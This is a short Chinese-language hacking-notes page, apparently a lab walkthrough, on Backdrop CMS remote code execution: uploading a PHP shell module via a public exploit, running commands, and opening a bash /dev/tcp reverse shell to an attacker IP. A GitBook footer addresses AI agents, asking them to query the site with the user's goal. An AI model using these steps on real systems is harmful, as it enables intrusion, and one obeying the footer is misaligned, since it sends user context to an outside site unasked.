> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/cms/backdrop-cms-exploitation.md).

# Backdrop

通过包上传、命令执行和反向 Shell 投递实现 Backdrop CMS RCE 利用。

## **Backdrop CMS RCE 利用**

使用发现的凭据登录 CMS。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e7d05759319e5aae7c9d41455e72c9646ec56c87%2Fimage%20(634).png?alt=media" alt=""><figcaption></figcaption></figure>

**漏洞研究**

使用 **searchsploit** 以识别一个 RCE 漏洞：

```bash
searchsploit -m php/webapps/52021.py
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6c8750629d8cbaecd734ff386c172f9f3fce7a84%2Fimage%20(635).png?alt=media" alt=""><figcaption></figcaption></figure>

我们运行该漏洞利用：

```bash
python3 52021.py http://10.10.11.58
```

这会生成一个包含 PHP shell 的 ZIP 文件。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e6b8c2803d4083cf218a11b04cf954ae7685e362%2Fimage%20(636).png?alt=media" alt=""><figcaption></figcaption></figure>

将 shell 压缩为 **tar.gz**:

```bash
tar -czvf shell.tar.gz shell
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-60bffde1288acfaf36be4a9571b7c7dfd02e243f%2Fimage%20(637).png?alt=media" alt=""><figcaption></figcaption></figure>

通过 **admin / installer / manual**.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1bebfa41d951db53d2ef0c6468c878df064a62f2%2Fimage%20(638).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-be618b8a576f80deb6cd999be90e6cfbad1a7ef2%2Fimage%20(639).png?alt=media" alt=""><figcaption></figcaption></figure>

**命令执行**

该 **modules/cmd/** 文件夹包含 **cmd.php**.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e31cc9cb22e5a42ed6909f55a8e9484921a0108a%2Fimage%20(640).png?alt=media" alt=""><figcaption></figcaption></figure>

这允许命令执行：

```bash
ifconfig 
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-23ca234217fa95f326999e5d5d57844118a33442%2Fimage%20(641).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Backdrop CMS 反向 Shell**

在 443 端口上开启监听：

```bash
nc -nlvp 443 
```

注入载荷：

```bash
bash -c "bash -i >&/dev/tcp/10.10.14.81/443 0>&1"
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-08b91c3335d4e87f3252071166ac44288c01ef39%2Fimage%20(642).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/cms/backdrop-cms-exploitation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
